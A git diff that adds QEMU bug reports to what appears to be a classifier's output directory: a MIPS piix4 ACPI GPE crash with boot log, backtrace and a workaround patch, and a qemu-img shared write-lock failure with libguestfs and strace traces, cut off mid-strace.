+[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/management./1861562 b/results/classifier/deepseek-1/output/management./1861562 new file mode 100644 index 00000000..168e60cd --- /dev/null +++ b/results/classifier/deepseek-1/output/management./1861562 @@ -0,0 +1,175 @@ + +piix crashes on mips when using multiple cpus + +Crash occurred while testing commit 330edfcc84a7: + +$ qemu-system-mips64el -cpu I6400 -append "clocksource=GIC console=ttyS0" -smp 8 -kernel vmlinux +Linux version 4.7.0-rc1 (phil@x1) (gcc version 6.3.0 20170516 (Debian 6.3.0-18) ) #1 SMP Sat Feb 1 13:15:19 UTC 2020 +earlycon: uart8250 at I/O port 0x3f8 (options '38400n8') +bootconsole [uart8250] enabled +CPU0 revision is: 0001a900 (MIPS I6400) +FPU revision is: 20f30300 +MSA revision is: 00000300 +MIPS: machine is mti,malta +Software DMA cache coherency enabled +Determined physical RAM map: + memory: 0000000008000000 @ 0000000000000000 (usable) +Zone ranges: + DMA [mem 0x0000000000000000-0x0000000000ffffff] + DMA32 [mem 0x0000000001000000-0x00000000ffffffff] + Normal empty +Movable zone start for each node +Early memory node ranges + node 0: [mem 0x0000000000000000-0x0000000007ffffff] +Initmem setup node 0 [mem 0x0000000000000000-0x0000000007ffffff] +VP topology {8} total 8 +Primary instruction cache 64kB, VIPT, 4-way, linesize 64 bytes. +Primary data cache 64kB, 4-way, VIPT, no aliases, linesize 64 bytes +percpu: Embedded 5 pages/cpu @980000000107c000 s29664 r8192 d44064 u81920 +Built 1 zonelists in Zone order, mobility grouping on. Total pages: 8163 +Kernel command line: clocksource=GIC console=ttyS0 +log_buf_len individual max cpu contribution: 4096 bytes +log_buf_len total cpu_extra contributions: 28672 bytes +log_buf_len min size: 32768 bytes +log_buf_len: 65536 bytes +early log buf free: 30432(92%) +PID hash table entries: 512 (order: -2, 4096 bytes) +Dentry cache hash table entries: 16384 (order: 3, 131072 bytes) +Inode-cache hash table entries: 8192 (order: 2, 65536 bytes) +Writing ErrCtl register=00000000 +Readback ErrCtl register=00000000 +MAAR configuration: + [0]: 0x0000000000010000-0x0000000007ffffff speculate + [1]: disabled + [2]: disabled + [3]: disabled + [4]: disabled + [5]: disabled + [6]: disabled + [7]: disabled +Memory: 121104K/131072K available (5253K kernel code, 380K rwdata, 1276K rodata, 304K init, 278K bss, 9968K reserved, 0K cma-reserved) +Hierarchical RCU implementation. + Build-time adjustment of leaf fanout to 64. +NR_IRQS:256 +CPU frequency 200.00 MHz +GIC frequency 100.00 MHz +clocksource: GIC: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112702515 ns +clocksource: MIPS: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112355619 ns +sched_clock: 32 bits at 100MHz, resolution 9ns, wraps every 21474556923ns +... +Primary instruction cache 64kB, VIPT, 4-way, linesize 64 bytes. +Primary data cache 64kB, 4-way, VIPT, no aliases, linesize 64 bytes +CPU7 revision is: 0001a900 (MIPS I6400) +FPU revision is: 20f30300 +MSA revision is: 00000300 +Synchronize counters for CPU 7: done. +Brought up 8 CPUs +devtmpfs: initialized +clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604462750000 ns +NET: Registered protocol family 16 +pm-cps: CPC does not support clock gating +vgaarb: loaded +SCSI subsystem initialized +PCI host bridge to bus 0000:00 +pci_bus 0000:00: root bus resource [mem 0x10000000-0x17ffffff] +pci_bus 0000:00: root bus resource [io 0x1000-0x1fffff] +pci_bus 0000:00: root bus resource [??? 0x00000000 flags 0x0] +pci_bus 0000:00: No busn resource found for root bus, will use [bus 00-ff] +pci 0000:00:00.0: [Firmware Bug]: reg 0x14: invalid BAR (can't size) +pci 0000:00:00.0: [Firmware Bug]: reg 0x18: invalid BAR (can't size) +pci 0000:00:00.0: [Firmware Bug]: reg 0x1c: invalid BAR (can't size) +pci 0000:00:00.0: [Firmware Bug]: reg 0x20: invalid BAR (can't size) +pci 0000:00:00.0: [Firmware Bug]: reg 0x24: invalid BAR (can't size) +pci 0000:00:0a.1: legacy IDE quirk: reg 0x10: [io 0x01f0-0x01f7] +pci 0000:00:0a.1: legacy IDE quirk: reg 0x14: [io 0x03f6] +pci 0000:00:0a.1: legacy IDE quirk: reg 0x18: [io 0x0170-0x0177] +pci 0000:00:0a.1: legacy IDE quirk: reg 0x1c: [io 0x0376] +Aborted (core dumped) + +(gdb) bt +#0 0x00007fe1e8d37e35 in raise () at /lib64/libc.so.6 +#1 0x00007fe1e8d22895 in abort () at /lib64/libc.so.6 +#2 0x000055d442b388ba in acpi_gpe_ioport_get_ptr (addr=addr@entry=49312, ar=ar@entry=0x55d4444212d0) at hw/acpi/core.c:670 +#3 0x000055d442b388ba in acpi_gpe_ioport_writeb (ar=ar@entry=0x55d4444212d0, addr=addr@entry=49312, val=val@entry=181) at hw/acpi/core.c:680 +#4 0x000055d442d3f363 in gpe_writeb (opaque=0x55d444420800, addr=49312, val=181, width=<optimized out>) at hw/acpi/piix4.c:553 +#5 0x000055d442b9534b in memory_region_write_accessor (mr=mr@entry=0x55d4444211e0, addr=49312, value=value@entry=0x7fe1ddff9ef8, size=size@entry=1, shift=<optimized out>, mask=mask@entry=255, attrs=...) + at memory.c:483 +#6 0x000055d442b9305e in access_with_adjusted_size (addr=addr@entry=49312, value=value@entry=0x7fe1ddff9ef8, size=size@entry=8, access_size_min=<optimized out>, access_size_max=<optimized out>, access_fn=access_fn@entry= + 0x55d442b95220 <memory_region_write_accessor>, mr=0x55d4444211e0, attrs=...) at memory.c:544 +#7 0x000055d442b976b4 in memory_region_dispatch_write (mr=mr@entry=0x55d4444211e0, addr=addr@entry=49312, data=<optimized out>, data@entry=327163317, op=op@entry=MO_64, attrs=...) at memory.c:1475 +#8 0x000055d442ba44fd in io_writex + (env=env@entry=0x55d443ec8f60, mmu_idx=mmu_idx@entry=0, val=val@entry=327163317, addr=addr@entry=10376293541929074848, retaddr=140608199778784, op=MO_64, iotlbentry=<optimized out>, iotlbentry=<optimized out>) + at accel/tcg/cputlb.c:980 +#9 0x000055d442baa43c in store_helper (op=MO_64, retaddr=140608199778784, oi=<optimized out>, val=<optimized out>, addr=10376293541929074848, env=0x55d443ec8f60) at accel/tcg/cputlb.c:1788 +#10 0x000055d442baa43c in helper_le_stq_mmu (env=0x55d443ec8f60, addr=10376293541929074848, val=327163317, oi=<optimized out>, retaddr=140608199778784) at accel/tcg/cputlb.c:1920 +#11 0x00007fe1e5cce1e0 in code_gen_buffer () +#12 0x000055d442bbc6d3 in cpu_tb_exec (itb=<optimized out>, cpu=0x0) at accel/tcg/cpu-exec.c:172 +#13 0x000055d442bbc6d3 in cpu_loop_exec_tb (tb_exit=<synthetic pointer>, last_tb=<synthetic pointer>, tb=<optimized out>, cpu=0x0) at accel/tcg/cpu-exec.c:618 +#14 0x000055d442bbc6d3 in cpu_exec (cpu=cpu@entry=0x55d443ec0550) at accel/tcg/cpu-exec.c:731 +#15 0x000055d442b88580 in tcg_cpu_exec (cpu=0x55d443ec0550) at cpus.c:1405 +#16 0x000055d442b8a6f4 in qemu_tcg_cpu_thread_fn (arg=arg@entry=0x55d443ec0550) at cpus.c:1713 +#17 0x000055d442faeb7b in qemu_thread_start (args=<optimized out>) at util/qemu-thread-posix.c:519 +#18 0x00007fe1e8ece4c0 in start_thread () at /lib64/libpthread.so.0 +#19 0x00007fe1e8dfc163 in clone () at /lib64/libc.so.6 + +ACPI GPE was added in: + +commit 5e3cb5347e9b650bdf8015da3c310b2669219294 +Author: aliguori <aliguori@c046a42c-6fe2-441c-8c8c-71466251a162> +Date: Wed Feb 11 15:21:35 2009 +0000 + + qemu: initialize hot add system / acpi gpe (Marcelo Tosatti) + + ACPI GPE support, used by PCI (and CPU) hotplug. + + From: Glauber Costa <email address hidden> + Signed-off-by: Marcelo Tosatti <email address hidden> + Signed-off-by: Anthony Liguori <email address hidden> + +GPE_LEN=4 definition was added in: + +commit 23910d3f669d46073b403876e30a7314599633af +Author: Isaku Yamahata <email address hidden> +Date: Fri Mar 25 19:54:41 2011 +0900 + + acpi, acpi_piix: factor out GPE logic + + factor out ACPI GPE logic. Later it will be used by ICH9 ACPI. + + Signed-off-by: Isaku Yamahata <email address hidden> + Signed-off-by: Aurelien Jarno <email address hidden> + +I am not sure what '4' means here. + +Note, Linux kernels "256 GPEs can be masked": +https://github.com/torvalds/linux/commit/a7583e72a5f22 + +I can not find reference to GPE in the PIIX4 datasheet (290562-001). + + +The Malta + I6400 boots properly when disabling this feature using: +-- >8 --- +--- a/hw/acpi/piix4.c ++++ b/hw/acpi/piix4.c +@@ -502,9 +502,11 @@ static void piix4_pm_realize(PCIDevice *dev, Error **errp) + s->machine_ready.notify = piix4_pm_machine_ready; + qemu_add_machine_init_done_notifier(&s->machine_ready); + ++ if (0) { + piix4_acpi_system_hot_add_init(pci_address_space_io(dev), + pci_get_bus(dev), s); + qbus_set_hotplug_handler(BUS(pci_get_bus(dev)), OBJECT(s), &error_abort); ++ } + + piix4_pm_add_propeties(s); + } +--- + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/193 + + diff --git a/results/classifier/deepseek-1/output/mechanism./1740364 b/results/classifier/deepseek-1/output/mechanism./1740364 new file mode 100644 index 00000000..ee83700d --- /dev/null +++ b/results/classifier/deepseek-1/output/mechanism./1740364 @@ -0,0 +1,527 @@ + +qemu-img: fails to get shared 'write' lock + +Description of problem: +Somewhere in F27 (did not see it happening before), I'm getting while running libguestfs (via libvirt or direct), a qemu-img failure. Note: multiple qcow2 snapshots are on the same backing file, and a parallel libguestfs command is running on all. However, it seems to be failing to get a lock on the leaf, which is unique, non-shared. + +The VM is up and running. I'm not sure why qemu-img is even trying to get a write lock on it. Even 'info' fails: +ykaul@ykaul ovirt-system-tests]$ qemu-img info /home/ykaul/ovirt-system-tests/deployment-basic-suite-master/default/images/lago-basic-suite-master-host-1_root.qcow2 +qemu-img: Could not open '/home/ykaul/ovirt-system-tests/deployment-basic-suite-master/default/images/lago-basic-suite-master-host-1_root.qcow2': Failed to get shared "write" lock +Is another process using the image? +[ykaul@ykaul ovirt-system-tests]$ lsof |grep qcow2 +[ykaul@ykaul ovirt-system-tests]$ file /home/ykaul/ovirt-system-tests/deployment-basic-suite-master/default/images/lago-basic-suite-master-host-1_root.qcow2 +/home/ykaul/ovirt-system-tests/deployment-basic-suite-master/default/images/lago-basic-suite-master-host-1_root.qcow2: QEMU QCOW Image (v3), has backing file (path /var/lib/lago/store/phx_repo:el7.4-base:v1), 6442450944 bytes + + +And it's OK if I kill the VM of course. + + + + +Version-Release number of selected component (if applicable): +[ykaul@ykaul ovirt-system-tests]$ rpm -qa |grep qemu +qemu-block-nfs-2.10.1-2.fc27.x86_64 +qemu-block-dmg-2.10.1-2.fc27.x86_64 +qemu-guest-agent-2.10.1-2.fc27.x86_64 +qemu-system-x86-core-2.10.1-2.fc27.x86_64 +qemu-block-curl-2.10.1-2.fc27.x86_64 +qemu-img-2.10.1-2.fc27.x86_64 +qemu-common-2.10.1-2.fc27.x86_64 +qemu-kvm-2.10.1-2.fc27.x86_64 +qemu-block-ssh-2.10.1-2.fc27.x86_64 +qemu-block-iscsi-2.10.1-2.fc27.x86_64 +libvirt-daemon-driver-qemu-3.7.0-3.fc27.x86_64 +qemu-block-gluster-2.10.1-2.fc27.x86_64 +ipxe-roms-qemu-20161108-2.gitb991c67.fc26.noarch +qemu-system-x86-2.10.1-2.fc27.x86_64 +qemu-block-rbd-2.10.1-2.fc27.x86_64 + + +How reproducible: +Sometimes. + +Steps to Reproduce: +1. Running Lago (ovirt-system-tests) on my laptop, it happens quite a lot. + +Additional info: +libguestfs: trace: set_verbose true +libguestfs: trace: set_verbose = 0 +libguestfs: trace: set_backend "direct" +libguestfs: trace: set_backend = 0 +libguestfs: create: flags = 0, handle = 0x7f1314006430, program = python2 +libguestfs: trace: set_program "lago" +libguestfs: trace: set_program = 0 +libguestfs: trace: add_drive_ro "/home/ykaul/ovirt-system-tests/deployment-basic-suite-master/default/images/lago-basic-suite-master-host-1_root.qcow2" +libguestfs: trace: add_drive "/home/ykaul/ovirt-system-tests/deployment-basic-suite-master/default/images/lago-basic-suite-master-host-1_root.qcow2" "readonly:true" +libguestfs: creating COW overlay to protect original drive content +libguestfs: trace: get_tmpdir +libguestfs: trace: get_tmpdir = "/tmp" +libguestfs: trace: disk_create "/tmp/libguestfsWrA7Dh/overlay1.qcow2" "qcow2" -1 "backingfile:/home/ykaul/ovirt-system-tests/deployment-basic-suite-master/default/images/lago-basic-suite-master-host-1_root.qcow2" +libguestfs: command: run: qemu-img +libguestfs: command: run: \ create +libguestfs: command: run: \ -f qcow2 +libguestfs: command: run: \ -o backing_file=/home/ykaul/ovirt-system-tests/deployment-basic-suite-master/default/images/lago-basic-suite-master-host-1_root.qcow2 +libguestfs: command: run: \ /tmp/libguestfsWrA7Dh/overlay1.qcow2 +qemu-img: /tmp/libguestfsWrA7Dh/overlay1.qcow2: Failed to get shared "write" lock +Is another process using the image? +Could not open backing image to determine size. +libguestfs: trace: disk_create = -1 (error) +libguestfs: trace: add_drive = -1 (error) +libguestfs: trace: add_drive_ro = -1 (error) + + +And: +[ykaul@ykaul ovirt-system-tests]$ strace qemu-img info /home/ykaul/ovirt-system-tests/deployment-basic-suite-master/default/images/lago-basic-suite-master-host-1_root.qcow2 +execve("/usr/bin/qemu-img", ["qemu-img", "info", "/home/ykaul/ovirt-system-tests/d"...], 0x7fffb36ccfc0 /* 59 vars */) = 0 +brk(NULL) = 0x562790488000 +mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f20cea08000 +access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) +openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 +fstat(3, {st_mode=S_IFREG|0644, st_size=93275, ...}) = 0 +mmap(NULL, 93275, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f20ce9f1000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libz.so.1", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320#\0\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=94232, ...}) = 0 +mmap(NULL, 2187272, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20ce5cc000 +mprotect(0x7f20ce5e2000, 2093056, PROT_NONE) = 0 +mmap(0x7f20ce7e1000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15000) = 0x7f20ce7e1000 +mmap(0x7f20ce7e2000, 8, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f20ce7e2000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libaio.so.1", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\200\5\0\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=6312, ...}) = 0 +mmap(NULL, 2101328, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20ce3ca000 +mprotect(0x7f20ce3cb000, 2093056, PROT_NONE) = 0 +mmap(0x7f20ce5ca000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0) = 0x7f20ce5ca000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libgmodule-2.0.so.0", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\360\20\0\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=15264, ...}) = 0 +mmap(NULL, 2109528, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20ce1c6000 +mprotect(0x7f20ce1c9000, 2093056, PROT_NONE) = 0 +mmap(0x7f20ce3c8000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7f20ce3c8000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libglib-2.0.so.0", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320\256\1\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=1145520, ...}) = 0 +mmap(NULL, 3223752, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cdeb2000 +mprotect(0x7f20cdfc3000, 2097152, PROT_NONE) = 0 +mmap(0x7f20ce1c3000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x111000) = 0x7f20ce1c3000 +mmap(0x7f20ce1c5000, 200, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f20ce1c5000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libgthread-2.0.so.0", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20\6\0\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=6832, ...}) = 0 +mmap(NULL, 2101256, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cdcb0000 +mprotect(0x7f20cdcb1000, 2093056, PROT_NONE) = 0 +mmap(0x7f20cdeb0000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0) = 0x7f20cdeb0000 +mmap(0x7f20cdeb1000, 8, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f20cdeb1000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/librt.so.1", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240!\0\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=43696, ...}) = 0 +mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f20ce9ef000 +mmap(NULL, 2128800, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cdaa8000 +mprotect(0x7f20cdaaf000, 2093056, PROT_NONE) = 0 +mmap(0x7f20cdcae000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7f20cdcae000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libcap-ng.so.0", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20\25\0\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=23544, ...}) = 0 +mmap(NULL, 2117640, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cd8a2000 +mprotect(0x7f20cd8a6000, 2097152, PROT_NONE) = 0 +mmap(0x7f20cdaa6000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x4000) = 0x7f20cdaa6000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libnettle.so.6", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220\233\0\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=229728, ...}) = 0 +mmap(NULL, 2322496, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cd66a000 +mprotect(0x7f20cd6a0000, 2093056, PROT_NONE) = 0 +mmap(0x7f20cd89f000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x35000) = 0x7f20cd89f000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libgnutls.so.30", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@\336\2\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=1516168, ...}) = 0 +mmap(NULL, 3599400, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cd2fb000 +mprotect(0x7f20cd45c000, 2093056, PROT_NONE) = 0 +mmap(0x7f20cd65b000, 57344, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x160000) = 0x7f20cd65b000 +mmap(0x7f20cd669000, 3112, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f20cd669000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libutil.so.1", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0p\16\0\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=14344, ...}) = 0 +mmap(NULL, 2105608, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cd0f8000 +mprotect(0x7f20cd0fa000, 2093056, PROT_NONE) = 0 +mmap(0x7f20cd2f9000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1000) = 0x7f20cd2f9000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libstdc++.so.6", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\301\10\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=1586584, ...}) = 0 +mmap(NULL, 3694592, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20ccd72000 +mprotect(0x7f20cceea000, 2093056, PROT_NONE) = 0 +mmap(0x7f20cd0e9000, 49152, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x177000) = 0x7f20cd0e9000 +mmap(0x7f20cd0f5000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f20cd0f5000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libm.so.6", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\200x\0\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=1503544, ...}) = 0 +mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f20ce9ed000 +mmap(NULL, 3490600, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cca1d000 +mprotect(0x7f20ccb71000, 2093056, PROT_NONE) = 0 +mmap(0x7f20ccd70000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x153000) = 0x7f20ccd70000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libgcc_s.so.1", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\300*\0\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=92800, ...}) = 0 +mmap(NULL, 2188336, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cc806000 +mprotect(0x7f20cc81c000, 2093056, PROT_NONE) = 0 +mmap(0x7f20cca1b000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x15000) = 0x7f20cca1b000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libpthread.so.0", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\220a\0\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=153128, ...}) = 0 +mmap(NULL, 2221160, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cc5e7000 +mprotect(0x7f20cc601000, 2093056, PROT_NONE) = 0 +mmap(0x7f20cc800000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19000) = 0x7f20cc800000 +mmap(0x7f20cc802000, 13416, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f20cc802000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0 \21\2\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=2245824, ...}) = 0 +mmap(NULL, 4074112, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cc204000 +mprotect(0x7f20cc3de000, 2093056, PROT_NONE) = 0 +mmap(0x7f20cc5dd000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1d9000) = 0x7f20cc5dd000 +mmap(0x7f20cc5e3000, 14976, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f20cc5e3000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libdl.so.2", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\16\0\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=19264, ...}) = 0 +mmap(NULL, 2109680, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cc000000 +mprotect(0x7f20cc003000, 2093056, PROT_NONE) = 0 +mmap(0x7f20cc202000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7f20cc202000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libpcre.so.1", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\20\26\0\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=471816, ...}) = 0 +mmap(NULL, 2564360, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cbd8d000 +mprotect(0x7f20cbdfe000, 2097152, PROT_NONE) = 0 +mmap(0x7f20cbffe000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x71000) = 0x7f20cbffe000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libp11-kit.so.0", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\271\2\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=1261200, ...}) = 0 +mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f20ce9eb000 +mmap(NULL, 3334480, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cba5e000 +mprotect(0x7f20cbb78000, 2093056, PROT_NONE) = 0 +mmap(0x7f20cbd77000, 86016, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x119000) = 0x7f20cbd77000 +mmap(0x7f20cbd8c000, 336, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f20cbd8c000 +close(3) = 0 +openat(AT_FDCWD, "/lib64/libidn2.so.0", O_RDONLY|O_CLOEXEC) = 3 +read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240\26\0\0\0\0\0\0"..., 832) = 832 +fstat(3, {st_mode=S_IFREG|0755, st_size=118104, ...}) = 0 +mmap(NULL, 2211856, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f20cb841000 